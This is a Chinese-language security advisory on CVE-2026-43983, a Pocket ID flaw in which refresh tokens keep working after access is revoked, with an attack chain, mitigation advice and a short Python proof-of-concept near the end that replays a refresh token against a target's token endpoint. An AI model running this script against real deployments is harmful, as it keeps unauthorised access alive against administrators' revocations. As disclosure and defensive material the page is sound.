IPBUF安全漏洞报告
English
CVE-2026-43983 CVSS 8.1 高危

CVE-2026-43983 Pocket ID 逻辑漏洞导致令牌无限刷新

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-43983
漏洞类型
逻辑漏洞
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pocket ID

相关标签

逻辑漏洞身份认证Pocket IDOIDC权限绕过CVE-2026-43983

漏洞概述

Pocket ID是一个基于通行密钥的OIDC提供商。在2.6.0版本之前,其`createTokenFromRefreshToken`函数存在逻辑缺陷。该函数仅验证了刷新令牌的加密完整性,而在签发新令牌时未重新验证用户的授权状态。这导致在授权被撤销、账户被禁用或客户端被移除组后,攻击者仍可无限期使用刷新令牌获取有效身份凭证,造成权限维持风险。

技术细节

漏洞根源在于Pocket ID在处理OIDC刷新令牌请求时的逻辑不严谨。具体来说,`oidc_service.go`文件中的`createTokenFromRefreshToken`函数虽然正确执行了加密签名校验,以防止令牌被篡改,但在通过校验后直接签发了新的访问令牌,缺失了对后端数据库中用户当前状态(如账户是否启用、授权是否依然有效、组成员关系是否存在)的二次校验环节。攻击者利用此漏洞,只需持有一次获取的有效刷新令牌,即可绕过后续的权限回收机制。即使管理员执行了撤销操作,由于系统不再验证上下文状态,旧的令牌仍被视为有效。这违背了OAuth 2.0中关于令牌刷新应当检查客户端状态的安全建议,允许攻击者持续维持对系统的非法访问权限,严重破坏了身份认证与授权模型的可控性。

攻击链分析

STEP 1
1. 获取令牌
攻击者作为合法用户登录Pocket ID,获取有效的刷新令牌(Refresh Token)。
STEP 2
2. 权限变更
管理员撤销了该用户的授权,或者禁用了该账户,或者将客户端从组中移除。
STEP 3
3. 发起刷新请求
攻击者使用之前获取的刷新令牌向`createTokenFromRefreshToken`接口发起刷新请求。
STEP 4
4. 绕过验证
服务端仅验证了令牌的加密完整性(签名正确),但未重新验证用户的授权状态。
STEP 5
5. 获取新凭证
系统签发新的访问令牌,攻击者成功维持了对服务的访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: CVE-2026-43983 Pocket ID Refresh Token Reuse # Description: Attempts to refresh a token after account revocation. def exploit_revocation_bypass(target_url, refresh_token, client_id): endpoint = f"{target_url}/oauth/token" payload = { "grant_type": "refresh_token", "client_id": client_id, "refresh_token": refresh_token } try: response = requests.post(endpoint, data=payload) if response.status_code == 200: print("[+] Success: Token refreshed despite revocation.") return response.json() else: print("[-] Failed: Server rejected the request.") return None except Exception as e: print(f"[!] Error: {e}") return None # Usage # exploit_revocation_bypass("https://target.com", "stolen_token", "client_id")

影响范围

Pocket ID < 2.6.0

防御指南

临时缓解措施
建议立即升级到修复版本。如果无法立即升级,应临时禁用OIDC的刷新令牌功能,或者通过网关层增加额外的逻辑校验,确保每次刷新令牌请求都检查用户的当前权限状态。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表